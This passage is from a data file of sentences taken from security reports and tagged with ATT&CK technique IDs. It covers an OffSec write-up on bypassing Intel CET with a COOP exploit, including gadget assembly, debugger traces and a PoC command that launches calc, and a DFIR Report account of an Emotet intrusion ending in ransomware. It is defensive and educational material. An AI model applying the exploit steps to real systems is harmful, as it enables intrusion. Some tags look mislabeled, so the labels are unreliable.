can arrange and mix different vfgadgets based on their availability and the desired APIs that we want to execute.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "In order to better understand a COOP attack, let’s start by analyzing the main vfgadget, the Looper.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The following assembly code provides a simplified version of a Looper COOP vfgadget: mov rbx, [rcx+0x40] loop_start: mov rax, [rbx] call cs:__guard_dispatch_icall_fptr mov rbx, [rbx+20h] test rbx, rbx jnz short loop_start ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "loop_exit: ret Looper Gadget relevant ASM code On the first line, RCX holds the this pointer and we load into RBX the start of the counterfeit object that has been placed at offset 0x40 from RCX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Since all the items in our counterfeit objects will be referenced at offsets from thethis pointer, we need to make sure to save its value before hijacking the program flow (i.e by corrupting a vtable).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The COOP payload base address is then dereferenced into RAX which points to the first vfgadget that gets called.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the call returns, a new vfgadget is loaded at offset 0x20 from the previous gadget and if the content of RBX is not zero, a new iteration of the loop takes place.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "While writing our counterfeit object in memory, we need to align upfront each vfgadget to match the Looper offsets, similarly to the following layout:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The COOP buffer in memory Here, 00000227`26cd8900 is the base address of our COOP payload, which is stored at offset 0x40 from the this pointer (RCX).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "From the previous code listing, we notice at the first line of the _loopstart routine that the pointer gets dereferenced into RAX, which in turn points to the first vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "On the next loop iteration the Looper repeats the same task by loading a pointer at offset 0x20 from the previous one and ultimately invokes the second vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "When exploiting real-world targets such browsers, it is recommended to rely on the Looper vfgadget because it gives more control and stability over the other vfgadgets.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "However, for the sake of brevity, we wrote our vulnerable application with only a single Invoker vfgadget which accepts one argument, as we’ll see in the next section.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Having covered introductory COOP theory, let’s move on to exploiting a CET-compiled proof of concept application that we developed to showcase COOP attacks.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Bypassing the CET Shadow Stack with COOP The vulnerable application we wrote is compiled with CET and CFG in addition to DEP, which is on by default.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "First off, to verify that CET is really enforced, we place a breakpoint on printf, inspect the call-stack, overwrite the return address and resume execution.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "0:000> bp printf 0:000> g 0:000> k # Child-SP RetAddr Call Site 00", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`400180e8 coop!printf", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.19041.0\\ucrt\\stdio.h @ 956] 01 00000000`0014fdf0", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`40018d54 coop!main+0x28", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[C:\\Users\\uf0\\source\\repos\\COOP\\COOP\\coop.cpp @ 54] 02 (Inline Function) --------`-------- coop!invoke_main+0x22", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[D:\\a\\_work\\1\\s\\src\\vctools\\crt\\vcstartup\\src\\startup\\exe_common.inl @ 78] 03 00000000`0014fef0 00007ffb`ec0a7034 coop!__scrt_common_main_seh+0x10c", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[D:\\a\\_work\\1\\s\\src\\vctools\\crt\\vcstartup\\src\\startup\\exe_common.inl @ 288] 04 00000000`0014ff30 00007ffb`ecba2651 KERNEL32!BaseThreadInitThunk+0x14 05", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000000`0014ff60", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000000`00000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "ntdll!RtlUserThreadStart+0x21 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`400180e8 0:000> eq 00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "414141414141 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8 00004141`414141411 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "g (16c0.f68): Security check failure or stack buffer overrun - code c0000409 (!!!", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "second chance !!!)", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation coop!printf+0x56: 00000001`400187e6 c3 ret Verifying that CET is enforced We get confirmation that CET is enabled as we are immediately prompted with a Shadow Stack exception referring to an invalid return address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As CET is a hardware-enforced mitigation, in order to trigger the above error we would need at least an 11th Generation Core ‘Tiger Lake’ CPU To simulate a browser vulnerability, we can obtain RIP control by taking advantage of a type confusion vulnerability in the application that is triggered automatically when the application is executed.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "When we hit the trigger for the vulnerability, a vtable pointer gets corrupted by our input, leading to an indirect call that we have control over.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We then hijack the vtable to make it point to our COOP buffer where our first (and only) vfgadget resides.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As mentioned earlier, instead of using a Looper with nested vfgadget, for the sake of brevity, we opted to use a single gadget that features both the Invoker and Argument Loader components.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As part of the automated part of the exploit, in order to obtain the vfgadget’s this pointer, we have leaked the stack pointer and retrieved the this pointer as a static offset from the stack.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once we have obtained the this pointer address, we prepare the address of the Windows API we want to invoke along with its arguments.", "labels": ["T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "This is done by writing both the Windows API address and the arguments at the required offsets inside the counterfeit object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Before exploring the COOP payload in more detail, let’s first understand the PoC’s syntax by running it without any arguments.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "C:\\Users\\offsec\\source\\repos\\COOP\\x64\\Debug>coop.exe [-] SYNTAX: coop.exe <", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "COOP obj ptr> <1st vfgadget> ", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[-] EXAMPLE - WinExec: coop.exe 00001e000000 5086014001000000 40610fecfb7f0000 \"cmd.exe /C calc\" [-] EXAMPLE - LoadLibraryA: coop.exe 00001e000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "5086014001000000 f0040becfb7f0000 \"edgehtml.dll\" Getting the PoC’s syntax The application accepts four parameters: a pointer to our counterfeit object (COOP) buffer, the vfgadget address, the Windows API address and its arguments.", "labels": ["T1055", "T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The helper shows two simple use-cases but this can be of course expanded to invoke any CFG-allowed API (if the application is compiled with it).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Since Windows DLLs will load at a random base address, it is required to calculate the desired API’s address beforehand.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Let’s first inspect the C++ code of the object related to our vfgadget, and then explore its corresponding assembly from the compiled binary: class OffSec { public: char* a; int (*callback)(char* a);", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "public: virtual void trigger(char* a1) { callback(a); } }; The ‘trigger’ method from which we derive the vfgadget The class OffSec present in the project contains a trigger method which acts as a C-style function pointer that we can abuse to invoke any API we like, as we’ll see shortly.", "labels": ["T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Then, the ‘OffSec’ class is instantiated in the main program routine so it gets loaded in memory along with its methods.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Taking a closer look at the Invoker in the disassembler reveals a few interesting aspects.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Invoker vfgadger Starting from the second to the fourth line, the this pointer, referenced by RCX, is first stored on the stack and then moved into RAX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Next, the value at offset 0x10 from RAX is dereferenced and moved into RAX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "This value will be the API function pointer residing in our counterfeit object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Then at line 7 and 8 the first function argument is dereferenced at offset 0x8 from the this pointer and moved into RCX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As we’ll soon discover, the vulnerable application will take care of these offsets once we have submitted the parameters from the command line.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Having covered the main building blocks of our attack chain, let’s try to run the PoC by passing the four arguments in order to gain code execution: C:\\> coop.exe 00001e000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "5086014001000000 40610fecfb7f0000 \"cmd.exe /C calc\" Running the PoC application with all parameters With the above command we provided the following parameters:00001e000000 as a storage buffer for our counterfeit object,5086014001000000 as the Invoker vfgadget in addition to40610fecfb7f0000 which is the WinExec memory address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As a final argument we pass the WinExec string argument.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Note that all memory addresses are passed in little-endian format.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once started, the application halts immediately, allowing us to attach the debugger to it.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Before doing so, we launch Process Explorer to verify that the binary is actually running with Intel CET enabled.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Verifying that CET is enabled with Process Explorer Under the “Stack Protection” column, Process Explorer confirms that CET is enforced for only the CET-compatible modules, meaning that the mitigation will be enforced for any module compiled with CET.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "This includes our application.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once the debugger is attached, we place a breakpoint to the only indirect call present in the main function and continue execution.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "0:001> bp 00000001`4001847e 0:001>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "bl 0 e", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Disable Clear 00000001`4001847e 0001 (0001) 0", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": ":**** coop!main+0x3d2 0:001> u 00000001`4001847e L1 coop!main+0x3d2: 00000001`4001847e ff159cbb0a00 call qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[coop!__guard_dispatch_icall_fptr (00000001`400c4020)] 0:000> dq 0x1e0000 L1 00000000`001e0000 00000001`400186a0 0:001>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "g Breaking at the Indirect Call We placed a breakoint at main+0x3d2 and verified that we have indeed an indirect call at that address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Next we dump the content of our counterfeit object located at the static address 0x1e0000, which holds a pointer to our vfgadget at 00000001400186a0 At main+0x3d2 is where the type confusion bug ignites and allows us to take control over RIP.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As soon as we hit the breakpoint we inspect the value residing at our COOP buffer, which should be the first Invoker vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We let the application continue and verify that we indeed hit our breakpoint.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Breakpoint 0 hit coop!main+0x3d2: 00000001`4001847e ff159cbb0a00 call qword ptr [coop!__guard_dispatch_icall_fptr (00000001`400c4020)] ds:00000001`400c4020={ntdll!LdrpDispatchUserCallTarget (00007ffb`ecbdc620)} 0:000>t ntdll!LdrpDispatchUserCallTarget:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00007ffb`ecbdc620 4c8b1d814d0f00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb8 (00007ffb`eccd13a8)]", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "ds:00007ffb`eccd13a8=00007df600000000 0:000> ntdll!LdrpDispatchUserCallTarget+0x23: 00007ff8`7c5fc643 48ffe0 jmp rax {coop!OffSec::trigger (00000001`400186a0)} ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "0:000> coop!OffSec::trigger: 00000001`400186a0 4889542410 mov qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[rsp+10h],rdx ss:00000000`0014fdf8=0000000000612b77 Landing on the first COOP vfgadget After tracing into the CFG LdrpDispatchUserCallTarge routine", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "we jump to the Invoker vfgadget ‘OffSec::trigger”, proving that we have control over the program’s execution flow.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "We then continue tracing inside the vfgadget:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "0:000> t ... coop!OffSec::trigger+0x5:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`40018655 48894c2408 mov qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "[rsp+8],rcx ss:00000000`0014fdf0=00000001400a1108 0:000> dq rcx L1", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000000`00590d80 00000000`001e0000 0:000> t coop!OffSec::trigger+0xa:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "00000001`4001865a 4883ec38 sub rsp,38h 0:000> coop!OffSec::trigger+0xe: 00000001`4001865e 488b442440 mov rax,qword ptr [rsp+40h] ss:00000000`0014fdf0=0000000000590d80 Moving the ‘this’ pointer into RAX In the above listing, the Invoker first saves the this pointer from RCX into the stack, and we also verify that it points to the base of our COOP buffer.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "On the last instruction the ‘this’ pointer is loaded into RAX, which will be used as a reference to invoke the API and its argument: 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "coop!OffSec::trigger+0x13: 00000001`40018663 488b4010 mov rax,qword ptr [rax+10h] ds:00000000`00590d90={KERNEL32!WinExec (00007ffb`ec0f6140)} 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "coop!OffSec::trigger+0x17: 00000001`40018667 4889442420 mov qword ptr [rsp+20h],rax ss:00000000`0014fdd0=000000000000001f 0:000> coop!OffSec::trigger+0x1c: 00000001`4001866c 488b442440 mov rax,qword ptr [rsp+40h] ss:00000000`0014fdf0=0000000000590d80 0:000> coop!OffSec::trigger+0x21: 00000001`40018671 488b4808 mov rcx,qword ptr [rax+8] ds:00000000`00590d88=00000000001e0080 0:000> dc 00000000001e0080 00000000`001e0080", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "2e646d63 20657865 6320432f 00636c61 cmd.exe /C calc. ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Loading WinExec parameters from the ‘this’ pointer First, at offset 0x10 we can see that WinExec address is loaded into RAX and then, three instructions later, the command parameter gets retrieved at offset 0x8.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Once we let execution continue, we invoke LdrpDispatchUserCallTarget again which in turn dispatches execution to WinExec and welcomes us with our calculator.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Successfully Calling WinExec", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "This completes our brief proof-of-concept where we demonstrated that we can bypass the Intel CET Shadow Stack and obtain arbitrary code execution via a COOP attack by calling CFG-allowed functions while simultaneously avoiding corrupting any return address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "The Visual Studio project for this PoC application can be found at the following URL.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Conclusions Intel CET provides yet another strong defensive mechanism that surely steps up the exploit development game.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Nonetheless, new attack pathways such as COOP can be adopted to circumvent this mitigation.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "As we learned so far, COOP vfgadgets are inherently allowed by CFG and so, in a real-world scenario they could be chained together to circumvent Intel CET and possibly other CFI mitigations.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "About The Author Matteo Malvica Content Developer Matteo Malvica is a content developer at Offensive Security focusing on vulnerability research, exploit development, reverse engineering and operating system internals.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects OffSec"} {"sentence": "Emotet Strikes Again - LNK File Leads to Domain Wide Ransomware -", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The DFIR Report url: https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In June of 2022, we observed a threat actor gaining access to an environment via Emotet and operating over a eight day period.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "During this time period, multiple rounds of enumeration and lateral movement occurred using Cobalt Strike.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Remote access tools were used for command and control, such as Tactical RMM and Anydesk.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actors final actions included data exfiltration using Rclone and domain wide deployment of Quantum Ransomware.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "We have observed similar traits in previous cases where Emotet and Quantum were seen.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Case Summary The intrusion began when a user double clicked a LNK file, which then executed encoded Powershell commands to download an Emotet DLL onto the computer.", "labels": ["T1105", "T1204.002"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once executed, Emotet setup a Registry Run Key to maintain persistence on the beachhead host.", "labels": ["T1547.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Emotet, then proceeded to execute a short list of discover commands using the Windows utilities systeminfo, ipconfig, and nltest targeting the network’s domain controllers.", "labels": ["T1016", "T1082"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "These commands would go on to be repeated daily by the Emotet process.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Around one and one-half hours after execution, Emotet began sending spam emails, mailing new malicious attachments to continue spreading.", "labels": ["T1566.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Similar activity continued over the second day, but on the third day of the incident, Emotet dropped a Cobalt Strike executable beacon onto the beachhead host.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Using the Cobalt Strike beacon, the threat actors began conducting a new round of discovery activity.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Windows net commands were run, targeting domain groups and computers, nltest was executed again, and they also used tasklist and ping to investigate a remote host.", "labels": ["T1057", "T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actor then moved laterally to a workstation.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "They first attempted this action using a PowerShell beacon and a remote service on the host, but while the script did execute on the remote host, it appeared to fail to connect to the command and control server.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Next, they proceeded to transfer a beacon executable over SMB to the remote host’s ProgramData directory.", "labels": ["T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This beacon was then successfully executed via WMI and connected successfully to the threat actors server.", "labels": ["T1047"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once on this new host the threat actors proceeded to run the net commands to review the Domain Administrators group again.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "They then proceeded to dump credentials from the LSASS process on the host.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "With some further process injection they then began to enumerate SMB shares across the environment and on finding a primary file server reviewed several documents present on the server.", "labels": ["T1055"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This Cobalt Strike server stopped communicating shortly there after.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the fourth day of the intrusion, Emotet dropped a new Cobalt Strike beacon.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Again, some net command discovery was run for domain admins and domain controller servers.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A flight of netlogon authentications were observed from the beachhead host to the domain controller as a possible attempt at exploiting the domain controller.", "labels": ["T1078", "T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actors, however, proceeded along a more traditional path, using SMB file transfers and remote services to move laterally across domain controllers and several other servers in the environment using Cobalt Strike beacon DLL’s.", "labels": ["T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the domain controller, the threat actors conducted further discovery tasks running find.bat and p.bat, which executed AdFind active directory discovery and performed a ping sweep across the environment.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On one of the other targeted servers, the threat actors deployed Tactical RMM, a remote management agent, for additional access and persistence in the environment.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "From this server, the threat actors were observed using Rclone to exfiltrate data from a file share server in the environment.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The Mega.io service was the location the stolen data was sent.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the fifth day of the intrusion, the threat actors appeared again to try and exfiltrate some data from the mail server again using Rclone but this appeared to fail and the threat actors did not try to resolve the issue.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After this the threat actors went silent until the eighth and final day of the intrusion.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "On the eighth day of the intrusion the threat actor accessed the environment using Tactical RMM to deploy Anydesk on the compromised host.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After establishing a connection using Anydesk, the threat actors then dropped SoftPerfect’s Network Scanner and ran it to identify hosts across the environment.", "labels": ["T1021.001", "T1105"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "From there, the threat actors began connecting to other hosts via RDP, including the a backup server.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After choosing a new server and connecting via RDP, the threat actors dropped Powertool64.exe and dontsleep.exe in preparation for their final actions.", "labels": ["T1021.001", "T1105"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Finally, locker.dll and a batch file 1.bat were dropped on the host and the batch file was executed beginning the Quantum rasomware deployment to all hosts over SMB.", "labels": ["T1059.003", "T1570"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "From initial intrusion to ransomware deployment, 154 hours passed, over eight days.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "After ransomware deployment, the threat actors remained connected and did RDP to a few other servers and executed ProcessHacker.exe and a net command.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "With no other activity taking place, we assess that this was likely the threat actors confirming successful deployment of the ransomware payload across the network.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "More information on this service and others can be found here.", "labels": ["T1090"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Both of the Cobalt Strike servers in this case were on our Threat Feed (days to months) in advance of this intrusion.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Timeline Report Lead: @iiamaleksAnalysis and reporting: @samaritan_o, and @yatinwad Initial Access Initial access took the form of an LNK file delivered to a victim through a MalSpam campaign.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The Powershell script embedded within the LNK is a Base64 encoded script with various components split into different variables for obfuscation purposes.", "labels": ["T1027"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The script will decode itself rather than depend on Powershell’s built-in ability to execute encoded scripts. ..", "labels": ["T1027", "T1140"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c 